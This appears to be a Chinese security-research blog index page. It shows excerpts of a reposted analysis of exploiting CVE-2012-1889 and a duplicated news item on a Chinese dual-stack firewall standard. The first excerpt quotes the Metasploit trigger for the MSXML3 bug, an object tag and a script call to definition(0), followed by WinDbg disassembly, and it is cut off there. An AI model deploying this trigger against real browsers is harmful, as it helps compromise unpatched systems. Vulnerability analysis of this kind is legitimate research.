SECURITY RESEARCH / ENGINEERING

文章与研究

在证据与实验中理解复杂系统。

2012-06-18

转载:Reliable Exploition of CVE-2012-1889

原文地址http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html MSF的触发代码如下： < o bject classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx"> script ↑自行加上<> do cument.getElementById("xx").object.definition(0); script ↑自行加上<> 触发时的代码如下： 0:015> u 5dd8d7c9 L50 msxml3!_dispatchImpl::InvokeHelper+0x93: 5dd8d7c9 8b45ec mov eax,dword ptr 5dd8d7cc 3bc3 cmp eax,ebx 5dd8d7ce 8bf0 mov esi,eax 5dd8d7d0 7426 je msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8) 5dd8d7d2 ff7528 push dword ptr 5dd8d7d5 8b08 mov ecx,dword ptr 5dd8d7d7 ff7524......

阅读全文 →

2012-06-17

转载：中国制定双栈防火墙技术要求行业标准

中国正在制定IPv4向IPv6过渡期防火墙行业标准，该标准是中国首个对IPv4向IPv6过渡中的防火墙设备的技术规范标准。中国移动牵头、华为参与起草的该标准还在制定过程中，预计2013年完成。　　IPv4地址已经分配殆尽，IPv6的发展已经被迫的提上了日程。但是，IPv6网络......

阅读全文 →

2012-06-17

转载：中国制定双栈防火墙技术要求行业标准

中国正在制定IPv4向IPv6过渡期防火墙行业标准，该标准是中国首个对IPv4向IPv6过渡中的防火墙设备的技术规范标准。中国移动牵头、华为参与起草的该标准还在制定过程中，预计2013年完成。　　IPv4地址已经分配殆尽，IPv6的发展已经被迫的提上了日程。但是，IPv6网络......

阅读全文 →